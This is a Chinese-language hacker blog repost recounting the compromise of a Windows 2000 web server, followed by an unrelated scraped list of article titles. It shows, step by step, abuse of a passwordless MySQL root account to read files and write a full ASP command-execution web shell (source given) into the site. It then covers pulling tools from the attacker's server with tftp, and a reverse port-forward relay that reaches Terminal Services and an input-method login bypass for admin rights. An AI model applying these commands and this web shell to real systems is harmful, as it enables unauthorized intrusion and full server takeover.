http://www.target.net/   Ok!先用nmap扫描一下,扫描结果如下:   25/tcp open smtp   53/tcp open domain   80/tcp open http   110/tcp open pop-3   389/tcp open ldap   1002/tcp open unknown   3306/tcp open mysql   然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,呵呵,比abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:
 F:cmd〉mysql -u root -h http://www.target.net/   Welcome to the MySQL monitor. Commands end with ; or g.   Your MySQL connection id is 3038 to server version: 3.23.21-beta   Type 'help;' or 'h' for help. Type 'c' to clear the buffer   mysql〉   呵呵,不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。   现在我们可以利用这个漏洞来做三件事情: 〈1〉搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了,呵呵 〈2〉读取服务器上的任何文件,当然前提是知道文件的物理路径 〈3〉以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件   如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!   没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,   mysql〉 use test;create table tmp(str TEXT);   Database changed   Query OK, 0 rows affected (0.05 sec)   然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:inetpubwwwroot,c:www,c:wwwroot,c:inetpubweb,d:web,d:wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下: mysql〉 load data infile "d:wwwgbaboutabout.htm" into table tmp; Query OK, 235 rows affected (0.05 sec) Records: 235 Deleted: 0 Skipped: 0 Warnings: 0   哈哈哈,猜中了,IIS主目录的物理路径是d:www,因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm,看来我得到一个shell了,呵呵。   接下来我们就可以往d:wwwgbabout里面写一个ASP文件进去,然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下: -------------------------------cmd.asp---------------------------------------- 〈% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject(""WSCRIPT.SHELL"") Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"") Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"") szCMD = Request.Form("".CMD"") If (szCMD 〈〉 """") Then szTempFile = ""C:" & oFileSys.GetTempName() Call oScript.Run (""cmd.exe /c "" & szCMD & "" 〉 "" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %〉 〈HTML〉〈BODY〉〈FORM action=""〈%= Request.ServerVariables(""URL"") %〉"" method=""POST""〉 〈input type=text name="".CMD"" size=45 value=""〈%= szCMD %〉""〉〈input type=submit value=""Run""〉〈/FORM〉〈PRE〉 〈% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%〉 〈/BODY〉〈/HTML〉 ----------------------------end of cmd.asp-----------------------------------   由于往mysql数据库中插入数据的时候,会过滤特殊字符什么的,例如双引号之类的,特别麻烦。各位留意没有,上面的ASP语句中,都是两个双引号一起的,这样才能写进去,原来是一个双引号的。然后我在数据库中再建一个表: mysql〉 use test;create table cmd(str TEXT); Database changed Query OK, 0 rows affected (0.05 sec)   然后用如下语句,一句一句把上面的ASP写进去: mysql〉 insert into cmd values("一行一行的asp代码,呵呵");   为什么不全部一起写进去呢?呵呵,换行后,一会儿导出的文件就会有特殊字符了,asp就不能正常运行了,只能辛苦点一行一行写了。然后把asp文件导到服务器上: mysql〉select * from cmd into outfile "d:wwwgbaboucmd.asp";   然后把我们刚才建的表都删除掉: mysql〉 use test; drop table tmp; drop table cmd;   ok!我们得到一个shell了,虽然权限不高,但毕竟已经向取得admin权限迈出一大步了,不是吗,呵呵。做这个asp文件可花了我不少时间哦。现在我们利用这个shell来收集系统信息,尝试取得admin权限。 〈1〉先看一下系统文件权限设置如何: c: Everyone:(OI)(CI)F d: xxx:(OI)(CI)(DENY)(特殊访问:) DELETE READ_CONTROL WRITE_DAC WRITE_OWNER STANDARD_RIGHTS_REQUIRED FILE_READ_DATA FILE_WRITE_DATA FILE_APPEND_DATA FILE_READ_EA FILE_WRITE_EA FILE_EXECUTE FILE_DELETE_CHILD FILE_READ_ATTRIBUTES FILE_WRITE_ATTRIBUTES Everyone:(OI)(CI)F   看来我们现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思,对不对,我们的目标是取得admin权限,呵呵。 〈2〉然后搜索一下硬盘上都有些什么文件: c:Program Files 的目录下有两个比较有意思的文件, 2000-12-19 13:10  Serv-U 2001-01-20 22:43 绿色警戒 把Serv-U里面的用户和密码读出来看看后,没有什么用处,然后进入绿色警戒目录看看,呵呵,除了log外,什么都没有,呵呵。 〈3〉再看看都有哪些用户: Guest IUSR_SERVER_1 IUSR_SERVER-2 IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的帐号J] TsInternetUser   管理员有ceo 和targetDomain Admins,看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套,在他的启动目录里放一个程序,但后来看到这个帐号已经几个月没登陆了,就放弃了。 〈4〉看看启动了那些服务,这几个比较有意思, 看来都是默认的: Task Scheduler Simple Mail Transport Protocol (SMTP) Task Scheduler 〈5〉看看网络状况,这几个比较有意思: TCP 0.0.0.0:21 0.0.0.0:0 LISTENING TCP 0.0.0.0:119 0.0.0.0:0 LISTENING TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING   看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放,那么我们就来 〈6〉看看网卡设置信息: Ethernet adapter 本地连接: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 192.168.1.3 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : DNS Servers . . . . . . . . . . . : Ethernet adapter 本地连接 2: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2 Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . :xxx Subnet Mask . . . . . . . . . . . : Default Gateway . . . . . . . . . :   经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限?netdde?pipeupadmin?呵呵,无法利用,没有可利用的可以登陆的用户。下套?等到什么时候,呵呵。   Okok!让我们来看看这个系统都打了些什么补丁。怎么查看?呵呵,打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行了:"HKLMSoftwareMicrosoftWindows NTCurrentVersionhotfix",这样的话,我们得上传一个reg.exe[M$ Resource Kit中的命令行注册表编辑器]到服务器里面,我们才能操作他的注册表。开始我想用先写一个ftp脚本,然后ftp -s:cmd.txt让他到我的服务器来下载,但结果失败了,后来才想起他做了TCP/IP过滤,5555,我记性真不好。怎么办呢?有办法,用tftp来传输。我先在我的服务器上安装了一个Cisco TFTP Server,然后在目标机器上运行tftp -I http://www.eyas.org/ GET reg.exe,呵呵,传输过去咯。然后运行 REG QUERY "HKLMSoftwareMicrosoftWindows NTCurrentVersionhotfix"   返回数据如下: Listing of [SoftwareMicrosoftWindows NTCurrentVersionhotfix] [Q147222]==〉这个不知道是什么东西,好象默认2k机器上都有 [Q269862]==〉Q269862_W2K_SP2_x86_CN.EXE==〉Microsoft IIS Unicode解码目录遍历漏洞! [Q277873]==〉Q277873_W2K_sp2_x86_CN.EXE==〉Microsoft IIS CGI文件名检查漏洞!   呵呵,==〉和后面的说明是我加上去的,不是注册表中的。看来管理员不太勤快啊,只打了两个补丁。   哈哈!到了这一步,大家想到怎么取得admin权限了吗?呵呵,你一定也想到了,他的机器开了TermService服务,但windows2000登陆验证可被绕过的漏洞没有安装补丁,此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。用dir c:winnthelpwin*验证一下,果然没有熟悉的输入法帮助文件。敌人没有输入法,我们帮他造,hoho~~别忘了我们可以往任何地方写文件哦。   嘻嘻,咱们也别高兴的太早了,别忘了他的机器做了TCP/IP过滤哦,我们是没有办法连接到他的3389端口的。不要着急,不要着急,让我们先来看看他的TCP/IP过滤的设置情况。怎么看呢?老办法,查看注册表里面的键值啦。用刚才的reg.exe查询 〈1〉reg QUERY "HKLMSystemCurrentControlSetServicesTcpipParametersInterfaces" Listing of [SystemCurrentControlSetServicesTcpipParametersInterfaces] [{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}] [{612A3142-DB85-4D4E-8028-81A9EB4D6A51}] 〈2〉reg QUERY "HKLMSystemCurrentControlSetServicesTcpipParametersInterfaces {4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}" Listing of [SystemCurrentControlSetServicesTcpipParametersInterfaces {4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}] MULTI_SZ IPAddress ; MULTI_SZ TCPAllowedPorts 25;53;80;110;3306; MULTI_SZ UDPAllowedPorts 0; MULTI_SZ RawIPAllowedProtocols 0; 〈3〉reg QUERY "HKLMSystemCurrentControlSetServicesTcpipParametersInterfaces {612A3142-DB85-4D4E-8028-81A9EB4D6A51}" Listing of [SystemCurrentControlSetServicesTcpipParametersInterfaces {612A3142-DB85-4D4E-8028-81A9EB4D6A51}] MULTI_SZ IPAddress 192.168.1.3; MULTI_SZ TCPAllowedPorts 0; MULTI_SZ UDPAllowedPorts 0; MULTI_SZ RawIPAllowedProtocols 0;   篇幅关系,我过滤了一些输出。第二次查询的是外网网卡,我们可以得知只开放了TCP 25,53,80,110,3306,UDP全部,IP协议全部。第三次查询的是内网网卡,没有任何限制。 现在我们可以把输入法帮助文件上传到他的c:winnthelp目录下去,然后如果能连接到他的3389端口的话,我们就可以得到admin权限了。问题的关键是外网网卡做了TCP/IP限制。55555,怎么办呢?如何突破?有办法!我们可以利用socket转发和反弹端口技术,照样可以连接到敌人的TermService! 具体过程如下: 〈1〉在我的另一台服务器www.eyas2.org[我称他为AgentMaster]上运行一个程序,监听3389端口[等待我的TermClient去连接],监听11111端口[等待www.target.net来连接],当然了,第2个端口可以随便选,第1个端口选其他的话,就要相应的修改TermClient,比较麻烦 〈2〉在www.target.net[我称他为AgentSlave]运行另外一个程序, 先连接到www.eyas2.org:11111,再连接到192.168.1.3:3389[敌人服务器内网的IP] 〈3〉 我的TermClient连接到www.eyas2.org:3389,这样,数据通道就全部建立好了。接下来,两个程序就忠实的为我们转发数据了。 注意:www.eyas2.org和www.eyas.org可以为同一台服务器,但要保证www.target.net能connect上你的服务器。192.168.1.3也可以换为他内网的任何一个IP。这样,当我用TermClient连接到www.eyas2.org的时候,其实是连接到www.target.net。当熟悉的登陆界面出现在我面前,我熟练的调出输入法,取得admin权限,呵呵,心里还有那么一点点成就感! 非常感谢痞菜兄提供 -------------------------------------------------------------------------------- 所有文章版权归原作者所有,如许转载请联系原作者,并注明出处--- Orange Hacker

转载于:https://blog.51cto.com/zzkch/2252

对于***win2000 精彩过程实例!不可错过_出自:痞菜相关推荐

  1. cadence spb 16.5 破解过程实例和使用感受_赤松子耶_新浪博客

    cadence spb 16.5 破解过程实例和使用感受_赤松子耶_新浪博客 Cadence Allegro16.5详细安装具体的步骤 1.下载SPB16.5下来后,点setup.exe,先安装第一项 ...

  2. 2021-04-27 Android 理解frameworks services jni hardware kernel 整个控制过程实例包括回调

    Android 理解frameworks services jni hardware kernel 整个控制过程实例包括回调 一.这个例子的实现的功能是,app控制power pin和control ...

  3. 软件测试质量过程检测文档_如何编写实际上有效的质量检查文档

    软件测试质量过程检测文档 A software product is like an airplane: it must undergo a technical check before launch ...

  4. mysql实例管理工具巨杉_实例管理工具_操作_MySQL实例_关系型数据库实例_文档中心_SequoiaDB巨杉数据库...

    实例管理工具 sdb_mysql_ctl 是 MySQL 实例组件的管理工具.用户通过 sdb_mysql_ctl 既可以初始化.启动和停止实例,也可以修改实例的引擎配置参数. 参数说明 参数 描述 ...

  5. java未将对象引用设置_未将对象引用到实例怎么解决_常见问题解析,java

    PPT导入GIF图无法播放_常见问题解析 PPT导入GIF图无法播放,是因为PPT保存时会自动压缩图片,所以导致GIF图片动画效果就失效,解决方法进入图片工具栏,在"压缩图片"的& ...

  6. vlan配置实例详解_【精品网络干货】二层MSTP防环技术详解

    一.MSTP 出现的背景: RSTP 在 STP 基础上进行了改进,实现了网络拓扑快速收敛.但 RSTP 和 STP 还存在同一个缺陷:由于局域网内所有的 VLAN 共享一棵生成树,因此无法在 VLA ...

  7. 数控车椭圆编程实例带图_数控车床编程教程,图文实例详解

    一.数控车编程特点 (1) 可以采用绝对值编程(用X.Z表示).增量值编程(用U.W表示)或者二者混合编程. (2) 直径方向(X方向) 系统默认为直径编程,也可以采用半径编程,但必须更改系统设定. ...

  8. 函数调用过程实例详解

    原文标题:<函数调用过程探究> 引言 如何定义函数.调用函数,是每个程序员学习编程的入门课.调用函数(caller)向被调函数(callee)传入参数,被调函数返回结果,看似简单的过程,其 ...

  9. php 正则 零宽断言,正则表达式之零宽断言实例详解_正则表达式

    这篇文章主要介绍了正则表达式之零宽断言,简单介绍了零宽断言的概念.分类及php实现技巧与相关注意事项,需要的朋友可以参考下 本文实例讲述了正则表达式之零宽断言.分享给大家供大家参考,具体如下: 前言 ...

最新文章

  1. streaming优化:spark.default.parallelism调整处理并行度
  2. java注释的简单_Java简单注解
  3. canvas 红包雨_天猫双十一怎么买省钱?京东双十一红包口令淘宝双十一活动攻略...
  4. Windows 任务管理器中的几个内存概念
  5. java 类调用情况_java 如何调用类?情况如下
  6. 【Paddle 经验分享】利用PaddleHub 2.x 完成文本分类训练的坑
  7. android task详解,Android AsyncTask的使用详解
  8. ASP.NET AntiXSS的作用
  9. 前端学习(1409):多人管理29安装json转换工具
  10. Linux 启动顺序
  11. Permutations II
  12. Java中栈,堆,常量池的简单理解
  13. 关于 min_25 筛的入门以及复杂度证明
  14. 编程基本功:一个任务的难度是不是适合自己,有没有产出,心里要有数
  15. 一款基于SSM框架技术的全栈Java web项目(已部署可直接体验)
  16. 网页完美内嵌多媒体,支持IE,Mozilla、Firefox、NetScape、Opera
  17. 计算机控制实验报告组态软件学习,单片机与MCGS组态综合实验系统 教学软件 实训系统...
  18. 数组中常见的问题,索引越界和空指针异常
  19. Android Layout 布局属性全解
  20. 论文中MathType公式居中,编号右对齐

热门文章

  1. Spring Security 基本介绍,初窥路径
  2. 前端三大技术 HTML、CSS、JavaScript 快速入门手册
  3. 10个有趣的Python教程,附视频讲解+练手项目。
  4. 服务拆分-服务远程调用
  5. redis 都有哪些数据类型?分别在哪些场景下使用比较合适?
  6. MyBatis 解决了什么问题?
  7. Redis的诞生历程
  8. 分布式会话拦截器2 - 会话判断
  9. 规格参数组查询的代码实现
  10. JasperReport:概述